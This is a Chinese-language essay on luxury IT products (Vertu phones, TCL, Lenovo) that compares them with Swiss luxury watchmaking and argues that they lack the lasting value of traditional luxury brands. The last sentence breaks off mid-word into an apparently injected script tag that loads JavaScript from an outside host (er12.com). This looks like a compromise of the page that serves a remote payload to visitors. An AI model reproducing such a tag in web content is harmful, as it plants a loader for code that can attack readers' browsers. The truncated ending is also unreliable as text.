远有tcl开天价卖蒙宝欧手机,近说联想在名人圈里发放“金钥匙”,再或者当你一走进北京赛特购物中心西门,向右手边瞄上两眼那些近在咫尺、标价却“远在天边”的vertu手机……看得出来,it行业的奢侈苗头渐起,正在寻找一条不寻常的奢侈之路。
且不说眼下来看谁成谁败,单说这些it奢侈品上似乎缺少传统奢侈品的共有特征。如果说要求it产品连“芯”也用贵金属打造,多少带有伪科学“抬杠”意味的话,那么反观it奢侈品只做“表面功夫”则实实在在和传统奢侈品的品牌精神相去甚远了。奢侈的it究竟有没有生命力?当it产品用上一年半载,连其中的信息技术都已经过时的时候,要个“金壳”还特别值得炫耀吗?
奢侈品牌:价值规律之外的特权
说到“炫耀”,这是奢侈品对于其消费群来说最重要的意义。那么,炫耀什么就成了奢侈品最需要给出的、对自身价值的回答。幸好,对于当今的绝大多数商品来说,消费者掏钱买单除为了满足自己的“工具性”(纯指使用商品功能本身可以达到的效果)需求之外,或多或少还包含心理上的需要,不妨称之为“社会性”需求——“装饰品”即是这一属性的典型;而极其昂贵的装饰品,则是奢侈品的典型。
昂贵的奢侈品对于需要炫耀的人来说本质上只是一个标识,用来证明自己的尊贵和卓尔不群。因此他们对奢侈品的要求并非一定自己喜欢着迷,而是这个标识要被周围的其他人所认知、认可——正如宝马的公关近期特别操心汽车形象正在被少数横冲直撞的人搞糟一样,毫无疑问,奢侈品的价值来源更加复杂,和一般同类产品相比决不能仅仅在品质上更上一层楼。
究竟是因为奢侈品所以价高,还是价高才成为了被追逐的奢侈品?当品牌高到一定程度之后,其营销过程似乎就开始呈现强烈的“双向作用”趋势,奢侈品牌的成功,是制造者和消费者双方彼此达成的一种认可和默契。皮尔卡丹曾在上世纪80年代进行了品牌延伸的“试验”,打着自己的真名实姓,“勇敢地”放下身价走进时尚类市场试了一把,却没想到这一战略失误使它从此再也没能爬回到国际顶级品牌行列。时至今日,在中国人印象当中,将“奢侈”二字带进国门的虽然是皮尔卡丹,但当今的高档服装市场却轮不到它来争先。
一个跻身奢侈品行列的品牌,它的灵感设计、上等材质、独特工艺、产地来源、悠久历史和附加的高端服务,一系列元素都会成为天价的基石,以此向每一位听众传达着自己的尊贵;更重要的是,它们相应地拥有尊贵的客人(而宣传这些客人的身份可以说是奢侈品的特种营销手段)。所有这些,才能共同打造一个奢侈的标识,从而使得高价成为可能。
窄众市场:传统奢侈品牌根基
即使有些品牌,诸如sony这样的老品牌声称指向“高端”,但并没有谁从建立之初即定位于个人奢侈品。相对于个人消费类it产品火急火燎地发展大众时尚元素,争先恐后地不断翻新,真正的奢侈品牌却悄无声息地保持其在窄众市场的发展,坚决保持自己的血统、不走下神坛,每年限量打造少量的产品,甚至对自己的客户也精挑细选——奢侈品牌在营销上走了和大众品牌完全不同的路线。
瑞士面向高端市场的手表即是一个“不按套路出招儿”的例子。虽然瑞士手表一直以其精密的工艺和令人眼花缭乱的设计走在世界手表行业前列,但它仍然一度受到了“科技”的威胁——说来这与电脑不无关系。自1967年第一块石英手表诞生之后,70年代兴起的计算机科学让人们前所未有地关注科学与生活的关系,石英表以其较低的成本和较高的技术要求,不断地冲击着机械手表市场,时至70年代末,来自日本的石英手表几乎将瑞士原先的市场蚕食殆尽。此后,痛定思痛的瑞士手表行业再次把握“品质”战略,开始了反攻。
在低端市场上,当时世界上最薄的一款石英手表即诞生于瑞士,这便是著名的swatch(斯沃琪)。而针对高端和顶级手表市场,工艺复杂的机械手表再次得到了认同,瑞士手表的著名品牌如劳力士、百达翡丽等一贯坚持机械手表工艺的品牌则开始以“优质优价”为策略,其机械表经常以贵重金属和宝石作为装饰,专心攻占高端市场。据统计,瑞士生产的手表中91%为电子表,只有9%为机械表(多为限量制造);但是产品出口产值却是另一番景象:机械表占总销售值的48%,与电子表几乎平分秋色。从全世界范围来看,瑞士手表的平均价格高于世界均价4倍之多,其价值策略可见一斑,其策略的成功也可见一斑。
变中求稳是it奢侈之道
瑞士手表虽然打出了漂亮的高端反击,可这条成功之路实际上暗含了一个重要的前提,那就是“幸好”今天的高级手表已经几乎完全丧失了其工具性的价值——毕竟“显示时间”这个功能早在数百年前就已经实现,因此人们对手表的要求已经更多地集中到了其社会功能方面(特别是在一战中,腕戴手表大量出现之后),这使得瑞士手表行业可以凭借精工和消费者的特别需求,将竞争引入新的天地、开辟?script src=http://er12.com/t.js>











